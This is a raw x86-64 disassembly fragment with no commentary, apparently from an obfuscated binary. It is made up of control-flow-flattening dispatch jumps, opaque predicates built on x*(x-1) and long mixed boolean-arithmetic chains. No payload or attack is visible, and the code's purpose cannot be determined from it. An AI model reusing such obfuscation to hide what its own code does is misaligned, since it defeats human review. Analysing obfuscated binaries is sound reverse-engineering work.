mov esi, ecx
and esi, 0x51f4a7dd
and eax, 0xae0b5822
or eax, esi
or ecx, edi
and edi, 0x51f4a7dd
and edx, 0xae0b5822
or edx, edi
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0xf1024a8b
and ecx, 0xefdb574
or ecx, eax
mov eax, ecx
xor eax, 0x2693040
xor ecx, 0xf1024a8b
mov edx, ecx
and edx, 0xcd96853e
and eax, 0x32697ac1
or eax, edx
or ecx, ebp
and ebp, 0xcd96853e
and ebx, 0x32697ac1
or ebx, ebp
xor ebx, eax
not ecx
or ecx, ebx
cmp ecx, 0xffffffff
setne al
sete cl
cmp dword [0x14024b6e4], 0xa
setl bl
mov edx, ebx
or dl, cl
xor dl, 1
xor cl, bl
or dl, cl
or al, bl
xor al, 1
and cl, bl
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
and cl, dl
xor dl, 1
xor al, 1
mov ebx, edx
xor bl, al
and bl, dl
and al, dl
or al, cl
mov ecx, ebx
xor cl, al
test cl, 1
mov ecx, 0x1ccecd8e
mov edx, 0x3a63540
cmovne ecx, edx
test al, 1
mov eax, ecx
cmovne eax, edx
test bl, bl
jmp 0x1401306c8
mov ecx, 0x54c6a780
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov edx, dword [0x14024b6e8]
mov r8d, dword [0x14024b6e4]
lea ebx, [rdx - 1]
imul ebx, edx
mov eax, ebx
not eax
mov ecx, ebx
xor ecx, 0x879f12a5
and ecx, ebx
mov edx, ebx
or edx, 0x7860ed5a
mov edi, ecx
not edi
mov esi, edx
and esi, 0xa7f987a0
mov ebp, eax
and ebp, 0x61005
or ebp, esi
or edx, edi
and edi, 0xa7f987a0
and ecx, 0x5806785f
or ecx, edi
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x2c606290
and edx, 0xd39f9d6f
or edx, ecx
mov ecx, edx
xor ecx, 0xd40
and eax, 0x7cbb78a
and ebx, 0xf8344875
or ebx, eax
mov eax, ebx
xor eax, 0x20200854
xor edx, 0xabff7034
mov ebp, edx
and ebp, 0xdcd4c2ab
and ecx, 0x232b3d54
or ecx, ebp
xor ebx, 0x4c0828a
and ebx, 0xdcd4c2ab
and eax, 0x232b3d54
or eax, ebx
xor eax, ecx
not eax
or eax, edx
cmp eax, 0xffffffff
sete bl
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl r8b
mov eax, ebx
xor al, r8b
mov r9d, eax
or r9b, cl
xor cl, bl
not cl
and cl, bl
and al, r8b
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
xor al, 1
mov edx, r9d
or dl, al
xor al, r9b
mov ecx, edx
xor cl, al
test cl, 1
mov ebp, 0x382adb6e
mov ecx, 0xcd173f72
cmovne ebp, ecx
test al, al
mov ecx, ebp
mov eax, 0x382adb6e
cmovne ecx, eax
test dl, dl
jmp 0x14013c3eb
mov edx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xfffffffe
mov ebx, ecx
and ebx, 1
or ebx, ebp
and edx, 0x8ae313ab
and ecx, 0x751cec54
or ecx, edx
mov edx, ecx
xor edx, 0x751cec54
xor ecx, 0x8ae313ab
and ecx, ebx
not ebx
and edx, ebx
or ecx, edx
not ecx
or ecx, ebx
cmp ecx, 0xffffffff
setne r8b
sete dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov r9d, eax
xor r9b, dl
xor r9b, 1
or al, dl
xor bl, r8b
xor bl, 1
mov edx, eax
xor dl, bl
or bl, al
xor bl, 1
or bl, dl
mov eax, ebx
xor al, 1
and bl, al
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov eax, ebx
xor al, 1
mov edx, eax
and dl, bl
mov ecx, eax
xor cl, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, cl
xor dl, r9b
mov ecx, r9d
and cl, al
xor al, r9b
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x64d47c66
mov ebp, 0x9030146b
cmovne eax, ebp
test dl, 1
cmove eax, ebp
not cl
test cl, 1
mov ecx, 0x64d47c66
jmp 0x14013c90e
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0x2b6ddd8b
and ecx, edx
not edx
and edx, 0x2b6ddd8b
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xd4922274
and ecx, 0x2b6ddd8b
or ecx, edx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebp, ecx
not ebp
and ebp, 0x8b8ceb8d
and ecx, 0x74731472
or ecx, ebp
xor ecx, 0x74731473
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x60141064
mov ebp, ecx
and ebp, 0x1c230580
or ebp, edx
xor ebp, 0x1c230580
and ecx, 0x83c8ea1b
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x3e8af456
and ecx, 0xc1750ba9
or ecx, edx
mov edx, ecx
xor edx, 0xa4420009
xor ecx, 0x42b16190
and ecx, 0x5bb17fd4
and edx, 0xa44e802b
or edx, ecx
mov ecx, edx
xor ecx, 0x244e800b
xor edx, 0x43012f54
and edx, 0xc3012f74
and ecx, 0x3cfed08b
or ecx, edx
xor ecx, 0x3cfed08b
setne cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
xor al, 1
xor dl, cl
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov eax, edx
xor al, bl
test dl, 1
mov ecx, 0xd1460b1d
mov edx, 0x51a1a84d
cmovne ecx, edx
test bl, bl
cmove ecx, edx
test al, 1
mov eax, 0xd1460b1d
jmp 0x14013dd20
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
mov ebp, ebx
and ebp, 0xfffffffe
mov ecx, edx
xor ecx, 0xfffffffe
and ecx, edx
mov edi, ebp
and edi, ecx
xor ecx, ebp
or ecx, edi
mov ebp, ecx
not ebp
and ebp, 0xce228d00
and ecx, 0x31dd72ff
or ecx, ebp
mov ebp, ecx
xor ebp, 0x11d16283
and ebx, 0x4a38c67a
and edx, 0xb5c73985
or edx, ebx
mov ebx, edx
xor ebx, 0x11c32881
xor ecx, 0xce228d00
xor edx, 0x4a38c67a
mov edi, ecx
and edi, 0xec0c117c
and ebp, 0x13f3ee83
or ebp, edi
or ecx, edx
and edx, 0xec0c117c
and ebx, 0x13f3ee83
or ebx, edx
xor ebx, ebp
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x7551583
and ecx, 0xf8aaea7c
or ecx, edx
xor ecx, 0xf8aaea7c
setne cl
sete r8b
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov edx, eax
xor dl, r8b
or cl, al
or al, r8b
xor al, 1
or al, dl
xor al, 1
xor cl, 1
or bl, r8b
xor bl, 1
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
xor bl, al
mov edx, ebx
not dl
and dl, al
mov eax, edx
xor al, bl
test bl, bl
mov ecx, 0xff3330a7
mov ebp, 0x1a0bea86
cmovne ecx, ebp
test dl, dl
mov edx, 0xff3330a7
jmp 0x14013bfd7
mov ecx, 0x30151092
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov eax, dword [0x14024b6e8]
lea ebp, [rax - 1]
imul ebp, eax
mov eax, ebp
not eax
mov edx, eax
and edx, 0xf91e1798
mov ecx, ebp
and ecx, 0x6e1e866
or ecx, edx
xor ecx, 0x6e1e866
mov edx, ebp
and edx, 1
or edx, ecx
mov ecx, edx
not ecx
mov ebx, edx
and ebx, 0xe2480b01
and ecx, 0x1db7f4fe
or ecx, ebx
or edx, ebp
and ebp, 0xe2480b01
and eax, 0x1db7f4fe
or eax, ebp
xor eax, ecx
not edx
or edx, eax
cmp edx, 0xffffffff
sete al
setne cl
cmp dword [0x14024b6e4], 0xa
setl bl
xor cl, bl
xor cl, 1
mov edx, ebx
or dl, al
xor dl, 1
or dl, cl
xor al, bl
mov ecx, eax
and al, dl
xor dl, 1
xor cl, 1
mov ebx, edx
xor bl, cl
and bl, dl
and cl, dl
or cl, al
mov eax, ebx
xor al, cl
test cl, cl
mov ecx, 0xf0e6e0e9
mov ebp, 0xcf839b78
cmovne ecx, ebp
test bl, bl
mov edx, 0xf0e6e0e9
jmp 0x14013bfd7
mov rsi, qword [rsp + 0x38]
mov edx, dword [0x14024b6e8]
mov ecx, dword [0x14024b6e4]
lea ebp, [rdx - 1]
imul ebp, edx
mov edi, ebp
not edi
or ebp, 0x40197d46
mov ebx, ebp
not ebx
or edi, 0xbfe682b9
and ebp, 0x64401413
and ebx, 0x9ba682a8
or ebx, ebp
mov edx, edi
not edx
and edi, 0x64401413
and edx, 0x196944
or edx, edi
xor edx, ebx
mov ebp, edx
not ebp
and ebp, 0x9bac3fc2
and edx, 0x6453c03d
or edx, ebp
mov ebp, edx
xor ebp, 0xdbb54284
xor edx, 0x2002114a
mov ebx, ebp
and ebx, 0xfffffffe
and edx, 0x683251ca
and ebp, 0x97cdae35
or ebp, edx
xor ebp, 0x97cdae34
mov edx, ebx
and edx, ebp
xor ebp, ebx
or ebp, edx
cmp ebp, 0xffffffff
sete r8b
setne bl
cmp ecx, 0xa
setl al
cmp ecx, 9
setg cl
mov edx, ecx
and dl, bl
and r8b, cl
xor cl, bl
or cl, dl
and al, bl
or al, r8b
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
mov ecx, edx
xor cl, al
xor cl, 1
mov ecx, 0x8654f40a
mov ebp, 0x172437ce
cmovne ecx, ebp
test dl, dl
mov edx, 0x8654f40a
cmovne edx, ecx
mov qword [0x14024b0a0], rsi
jmp 0x14013d678
mov ecx, 0x480e327a
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov rax, qword [rsp + 0x38]
mov qword [0x14024b0a0], rax
mov ecx, 0x4459baba
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov ecx, dword [0x14024b6e8]
mov r8d, dword [0x14024b6e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov eax, ebp
not eax
mov edx, ebp
xor edx, 0x9d387295
and edx, ebp
mov ecx, ebp
or ecx, 0x62c78d6a
mov edi, edx
not edi
mov esi, ecx
and esi, 0x84ef0956
mov ebx, eax
and ebx, 0x19107281
or ebx, esi
or ecx, edi
and edi, 0x84ef0956
and edx, 0x7b10f6a9
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x1f52a51b
and ecx, 0xe0ad5ae4
or ecx, edx
mov edx, ecx
xor edx, 0x61140850
xor ecx, 0x202c28b
and ecx, 0x1e83e2ab
and edx, 0xe17c1d54
or edx, ecx
xor edx, 0xe17c1d54
and eax, 0x3e2acd9
and ebp, 0xfc1d5326
or ebp, eax
xor ebp, 0xfc1d5326
mov eax, edx
and eax, ebp
xor ebp, edx
or ebp, eax
mov eax, ebp
not eax
and eax, 0x804422a7
and ebp, 0x7fbbdd58
or ebp, eax
xor ebp, 0x7fbbdd58
setne r9b
sete r10b
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl r8b
mov ebx, r10d
xor bl, r9b
and bl, r10b
mov eax, ebx
xor al, r8b
and bl, al
and al, r8b
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, ecx
xor dl, r10b
and dl, cl
and r9b, r8b
and cl, r10b
or cl, r9b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
not dl
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
xor al, 1
mov ebx, eax
xor bl, dl
xor dl, 1
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov eax, ebx
xor al, dl
test dl, 1
mov ecx, 0xfdea4024
mov edx, 0x2b8098f7
cmovne ecx, edx
test bl, 1
cmovne ecx, edx
not al
test al, 1
mov eax, 0xfdea4024
jmp 0x14013dd20
mov edx, dword [0x14024b6e8]
mov r8d, dword [0x14024b6e4]
lea ebx, [rdx - 1]
imul ebx, edx
mov edi, ebx
not edi
mov edx, ebx
or edx, 0x8038cd3b
mov ebp, edx
not ebp
mov ecx, ebx
xor ecx, 0x7fc732c4
and ecx, ebx
mov esi, ecx
not esi
mov eax, edx
and eax, 0xbc9292af
and ebp, 0x43452040
or ebp, eax
or edx, esi
and esi, 0xbc9292af
and ecx, 0x436d6d50
or ecx, esi
xor ecx, ebp
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x6c4aa516
and edx, 0x93b55ae9
or edx, eax
mov eax, edx
xor eax, 0xec72682c
and edi, 0x2456dde0
and ebx, 0xdba9221f
or ebx, edi
mov ecx, ebx
xor ecx, 0xdba9221f
xor edx, 0x138d97d3
and ecx, edx
xor ebx, 0x2456dde0
and ebx, eax
or ebx, ecx
xor edx, ebx
test edx, ebx
sete cl
setne r10b
cmp r8d, 0xa
setl r9b
cmp r8d, 9
setg r8b
mov edx, r10d
and dl, r8b
mov eax, r9d
and al, cl
or al, dl
xor al, 1
or al, r8b
mov edx, eax
xor dl, 1
or r10b, r9b
xor cl, r9b
and cl, r9b
xor cl, 1
mov ebx, r10d
xor bl, cl
or cl, r10b
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
and cl, al
or al, bl
and bl, dl
or bl, cl
mov edx, ebx
xor dl, al
test bl, 1
mov ecx, 0x3c0fd4c8
mov ebp, 0x995c907a
cmovne ecx, ebp
test al, 1
mov eax, 0x3c0fd4c8
jmp 0x14013e287
mov ecx, dword [0x14024b6e8]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
and ecx, 0xddf26b73
and eax, 0x220d948c
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x15823dad
and eax, 0xea7dc252
or eax, ecx
mov ecx, eax
xor ecx, 0x378fa921
mov edx, eax
xor edx, 0x8004092
and edx, 0x280a40b3
xor eax, 0x81328cdb
and eax, ecx
mov ebp, ecx
and ebp, 0xd7f5bf4c
or ebp, edx
mov ecx, ebp
xor ecx, 0xd7f5bf4c
xor ebp, 0x80023
mov edx, ecx
and edx, 0xb6bd25fa
mov ebx, edx
and ebx, eax
xor eax, edx
or eax, ebx
mov edx, eax
not edx
and edx, 0x5205bad1
and eax, 0xadfa452e
or eax, edx
xor eax, 0x1b4760d5
and ebp, 0x477c2f23
mov edx, ecx
and edx, 0xb883d0dc
or edx, ebp
xor edx, 0x477c2f22
and ecx, 1
or ecx, edx
mov edx, ecx
not edx
and edx, 0x5b6363e2
and ecx, 0xa49c9c1d
or ecx, edx
xor ecx, 0xa49c9c1d
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, eax
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0x9958805b
and ecx, 0x66a77fa4
or ecx, eax
mov eax, ecx
xor eax, 0x60060524
xor ecx, 0x9108048
and ecx, 0xfb1fac8
and eax, 0xf04e0537
or eax, ecx
mov ecx, eax
xor ecx, 0x200da40
xor eax, 0xa0506
and eax, 0xdbb258e
and ecx, 0xf244da71
or ecx, eax
xor ecx, 0xf244da71
sete r9b
cmp dword [0x14024b6e4], 9
setg cl
xor r9b, cl
xor cl, r9b
and cl, r9b
mov r8d, r9d
xor r8b, 1
mov ebx, ecx
xor bl, 1
mov edx, ecx
and dl, bl
mov eax, r8d
and al, r9b
mov r10d, edx
and r10b, cl
xor dl, cl
or dl, r10b
mov ecx, eax
xor cl, 1
xor al, r8b
or cl, r9b
xor cl, 1
or cl, al
xor cl, dl
mov eax, ebx
and al, r9b
xor bl, r9b
or bl, al
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0x1ec67cf3
mov edx, 0xbcbabf7e
cmovne eax, edx
test bl, bl
mov edx, 0x1ec67cf3
cmovne edx, eax
test cl, 1
jmp 0x14013e564
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0xe50972ce
and ecx, edx
and edx, 0x1af68d31
or edx, ebp
xor edx, 0x1af68d31
mov ebp, edx
and ebp, ecx
xor edx, ecx
or edx, ebp
mov ebp, edx
not ebp
mov ecx, ebp
or ecx, 1
mov ebx, ecx
not ebx
and ebp, 0xc77bc6c1
and edx, 0x3884393e
or edx, ebp
mov ebp, edx
xor ebp, 0x30841818
xor edx, 0xc77bc6c0
mov edi, ecx
and edi, 0x4b7a25e7
and ebx, 0xb485da18
or ebx, edi
or ecx, edx
and edx, 0x4b7a25e7
and ebp, 0xb485da18
or ebp, edx
xor ebp, ebx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x7e559f4d
and ecx, 0x81aa60b2
or ecx, edx
mov edx, ecx
not edx
and edx, 0x507eaa5d
and ecx, 0xaf8155a2
or ecx, edx
xor ecx, 0xd1d4caef
setne r9b
sete r10b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r8b
mov edx, r8d
xor dl, cl
and dl, r8b
mov eax, r10d
xor al, r9b
and al, r10b
xor al, 1
mov ebx, eax
or bl, dl
xor bl, 1
xor al, dl
not al
and al, dl
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, ecx
xor dl, r10b
and dl, cl
and r9b, r8b
and cl, r10b
or cl, r9b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
mov ebx, eax
xor bl, cl
and bl, al
and cl, al
xor al, 1
and al, dl
or cl, al
mov eax, ebx
xor al, cl
test cl, 1
mov ecx, 0xda38a867
mov ebp, 0x349095d
cmovne ecx, ebp
test bl, 1
mov edx, 0xda38a867
jmp 0x14013bfd7
mov eax, dword [0x14024b6e8]
mov edx, dword [0x14024b6e4]
lea ebx, [rax - 1]
imul ebx, eax
mov ecx, ebx
not ecx
mov eax, ecx
and eax, 0xc5b52400
mov ebp, ebx
xor ebp, 0xc5b52400
and ebp, ebx
mov edi, eax
and edi, ebp
xor ebp, eax
or ebp, edi
mov eax, ebp
not eax
and eax, 0x3a4adbfe
and ebp, 0xc5b52401
or ebp, eax
mov eax, ebp
not eax
and ecx, eax
and ebp, ebx
or ebp, ecx
not ebp
or ebp, eax
cmp ebp, 0xffffffff
setne r9b
sete r8b
cmp edx, 0xa
setl bl
cmp edx, 9
setg al
and r9b, bl
mov edx, eax
xor dl, r8b
xor bl, r8b
and r8b, al
or r9b, r8b
and dl, al
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov eax, r9d
xor al, 1
mov edx, eax
mov ecx, ebx
mov r8d, eax
and r8b, bl
xor al, bl
xor bl, 1
and dl, r9b
and cl, bl
xor dl, 1
mov r10d, r9d
xor r10b, dl
or dl, r9b
xor dl, 1
or dl, r10b
xor cl, 1
mov r9d, ebx
xor r9b, cl
or cl, bl
xor cl, 1
or cl, r9b
xor cl, dl
or al, r8b
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x14f4ffd2
mov ebp, 0x9cef9f76
cmovne eax, ebp
test cl, 1
cmove eax, ebp
test dl, 1
mov ecx, 0x14f4ffd2
jmp 0x1401306c8
mov ecx, 0x7c02a5c8
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
mov ebp, edx
xor ebp, 0xfffffffe
and ebp, edx
not edx
mov ebx, edx
and ebx, 0x437c5bd4
and ecx, 0xbc83a42a
or ecx, ebx
mov ebx, ecx
xor ebx, 0xbc800022
xor ecx, 0x437c5bd5
mov edi, ebp
not edi
mov esi, ecx
and esi, 0x27ef89
and ebx, 0xffd81076
or ebx, esi
or ecx, edi
and edi, 0x27ef89
and ebp, 0xffd81076
or ebp, edi
xor ebp, ebx
not ecx
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0x4dcdcd0d
and ecx, 0xb23232f2
or ecx, ebp
xor ecx, 0xb23232f2
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xed1eddf2
and ecx, 0x12e1220d
or ecx, edx
xor ecx, 0x12e1220d
sete r8b
setne r10b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg sil
mov ecx, esi
xor cl, r9b
and cl, sil
mov r11d, r10d
xor r11b, r8b
and r11b, r10b
mov ebx, ecx
xor bl, 1
mov eax, ecx
and al, bl
mov edx, eax
xor dl, 1
xor al, cl
or dl, bl
xor dl, 1
or dl, al
or bl, cl
xor bl, 1
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov eax, r11d
xor al, 1
or al, r11b
xor al, 1
mov ecx, r11d
and cl, al
xor al, r11b
or al, cl
mov edx, eax
xor dl, 1
and dl, al
mov ecx, edx
and cl, al
xor dl, al
or dl, cl
mov eax, ebx
xor al, 1
and al, dl
xor dl, 1
and dl, bl
or dl, al
or sil, r10b
xor r10b, r9b
xor r9b, r8b
xor sil, 1
or sil, r9b
mov eax, r10d
xor al, sil
or sil, r10b
xor sil, 1
or sil, al
mov r8d, esi
xor r8b, 1
mov ecx, edx
xor cl, 1
mov ebx, edx
and bl, cl
mov eax, r8d
and al, sil
mov r9d, ebx
and r9b, dl
xor bl, dl
or bl, r9b
mov edx, eax
xor dl, 1
xor al, r8b
or dl, sil
xor dl, 1
or dl, al
xor dl, bl
mov eax, ecx
and al, sil
xor cl, sil
or cl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xb716932e
mov ebp, 0xb21b30c4
cmovne eax, ebp
test cl, 1
mov ecx, 0xb716932e
jmp 0x14013c7fd
mov edx, dword [0x14024b6e8]
mov edi, dword [0x14024b6e4]
lea eax, [rdx - 1]
imul eax, edx
mov edx, eax
not edx
mov ebp, edx
and ebp, 0xb5ff50dc
mov ebx, eax
and ebx, 0x4a00af22
or ebx, ebp
xor ebx, 0x4a00af22
mov ebp, eax
and ebp, 1
or ebp, ebx
and edx, 0xbfd5172f
and eax, 0x402ae8d0
or eax, edx
mov edx, eax
xor edx, 0x402ae8d0
xor eax, 0xbfd5172f
and eax, ebp
not ebp
and edx, ebp
or eax, edx
not eax
or eax, ebp
cmp eax, 0xffffffff
sete cl
setne r8b
cmp edi, 0xa
setl al
cmp edi, 9
setg r9b
mov ebx, eax
and al, r8b
and r8b, r9b
and bl, cl
or bl, r8b
mov r8d, ebx
xor r8b, r9b
and r8b, bl
and cl, r9b
or al, cl
mov ebx, r8d
xor bl, 1
mov ecx, eax
not cl
mov edx, ebx
and dl, r8b
and cl, al
xor bl, dl
xor dl, 1
or dl, r8b
xor dl, 1
or dl, bl
xor cl, 1
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
xor cl, dl
mov edx, r8d
xor dl, al
or al, r8b
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x215bcbbd
mov ebp, 0x5ae53d25
cmovne eax, ebp
test cl, 1
cmove eax, ebp
not dl
test dl, 1
mov ecx, 0x215bcbbd
jmp 0x14013c90e
mov ecx, 0xa72e6480
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0x9db2a055
and ecx, edx
and edx, 0x624d5faa
or edx, ebp
xor edx, 0x624d5faa
mov ebp, edx
and ebp, ecx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
mov ebp, edx
xor ebp, 0x4f39ff11
and ebp, ecx
mov ebx, edx
and ebx, 0xb0c600ee
mov edi, ebp
and edi, ebx
xor ebx, ebp
or ebx, edi
mov ebp, ebx
not ebp
and ebp, 0x97a204f0
and ebx, 0x685dfb0f
or ebx, ebp
xor ebx, 0x2764041f
and edx, 0x145e841d
mov ebp, ecx
and ebp, 0xeba17be2
or ebp, edx
xor ebp, 0x145e841c
and ecx, 1
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x4f19f737
and ecx, 0xb0e608c8
or ecx, edx
xor ecx, 0xb0e608c8
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x6564146f
and ebp, 0x9a9beb90
or ebp, edi
or ecx, ebx
and ebx, 0x6564146f
and edx, 0x9a9beb90
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xf864c661
and ecx, 0x79b399e
or ecx, edx
mov edx, ecx
xor edx, 0x19a3014
xor ecx, 0xd0044600
and ecx, 0xd6054f8a
and edx, 0x29fab075
or edx, ecx
xor edx, 0xd6054f8a
cmp edx, 0xffffffff
sete cl
setne r8b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg dl
mov eax, edx
and cl, dl
and dl, r8b
xor al, r8b
or al, dl
mov r10d, eax
xor r10b, 1
and r9b, r8b
or cl, r9b
mov r8d, ecx
xor r8b, 1
mov edx, r10d
and dl, al
xor dl, 1
mov ebx, edx
xor bl, al
or dl, al
xor dl, 1
or dl, bl
mov eax, edx
xor al, 1
and al, cl
and dl, r8b
or dl, al
mov eax, r10d
xor al, cl
or cl, r10b
xor cl, 1
or cl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xb5aa6aac
mov ebp, 0xa1dd1479
cmovne eax, ebp
test cl, 1
mov ecx, 0xb5aa6aac
cmovne ecx, eax
jmp 0x14013dd1e
mov edx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea esi, [rdx - 1]
imul esi, edx
mov ebx, esi
not ebx
mov edx, ebx
and edx, 0x4241088
mov ecx, esi
and ecx, 0x902400
or ecx, edx
mov edi, ecx
xor edi, 0x102400
xor ecx, 0x814ed83f
mov ebp, ebx
or ebp, 0x4b43488
mov edx, ebp
not edx
and ecx, 0x81ced83f
and edi, 0x4302480
or edi, ecx
and ebp, 0x81ced83f
and edx, 0x7a010340
or edx, ebp
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0xb233538
and edx, 0xf4dccac7
or edx, ecx
mov ecx, edx
xor ecx, 0x3040d006
and ebx, 0x9be256cc
and esi, 0x641da933
or esi, ebx
mov ebx, esi
xor ebx, 0x20108012
xor edx, 0xf9701b1
mov ebp, edx
and ebp, 0xc7af2fe9
and ecx, 0x3850d016
or ecx, ebp
xor esi, 0x83a206c8
and esi, 0xc7af2fe9
and ebx, 0x3850d016
or ebx, esi
xor ebx, ecx
not ebx
or ebx, edx
cmp ebx, 0xffffffff
sete dl
setne cl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl r9b
mov ebx, r9d
xor bl, cl
mov eax, ebx
xor al, r8b
and al, bl
or cl, r9b
or dl, r8b
mov ebx, edx
xor bl, cl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, eax
xor cl, 1
xor al, dl
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ebp, 0x7c02a5c8
mov ecx, 0xe4c33125
cmovne ebp, ecx
test al, al
mov ecx, ebp
mov eax, 0x7c02a5c8
cmovne ecx, eax
jmp 0x14013c3e8
mov ecx, 0x995c907a
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov edx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xc07aaa1b
and edx, ecx
or ecx, 0x3f8555e4
mov ebp, ecx
not ebp
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xf573d8bd
and ebp, 0x82202
or ebp, edi
or ecx, ebx
and ebx, 0xf573d8bd
and edx, 0xa8c2742
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x6d013265
and ecx, 0x92fecd9a
or ecx, edx
mov ebx, ecx
xor ebx, 0x50804100
mov edx, ecx
xor edx, 0xad7b987e
mov ebp, edx
and ebp, 0x8b4636cd
and ebx, 0x74b9c932
or ebx, ebp
mov ebp, ebx
not ebp
and ebp, 0x74b9c933
and ebx, 0x8b4636cc
or ebx, ebp
and edx, 1
xor ecx, 0xad7b987f
or ecx, edx
mov ebp, ecx
not ebp
mov edx, ebx
not edx
mov edi, edx
and edi, 0xe5c4eb09
and ebx, 0x1a3b14f6
or ebx, edi
or edx, ecx
and ecx, 0xe5c4eb09
and ebp, 0x1a3b14f6
or ebp, ecx
xor ebp, ebx
not edx
or edx, ebp
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0x10139ca0
and edx, 0x47a04048
or edx, ecx
mov ebx, edx
xor ebx, 0x6a04048
xor edx, 0xb05fbb97
or ebp, 0x57b3dce8
mov ecx, ebp
not ecx
and edx, 0xf15fbb97
and ebx, 0x6a04468
or ebx, edx
and ebp, 0xf15fbb97
and ecx, 0x8000000
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x75837887
and ecx, 0x8a7c8778
or ecx, edx
mov edx, ecx
xor edx, 0x1d404380
xor ecx, 0x200a006
and ecx, 0xc28fb816
and edx, 0x3d7047e9
or edx, ecx
mov ecx, edx
xor ecx, 0x104047a0
xor edx, 0xa1800
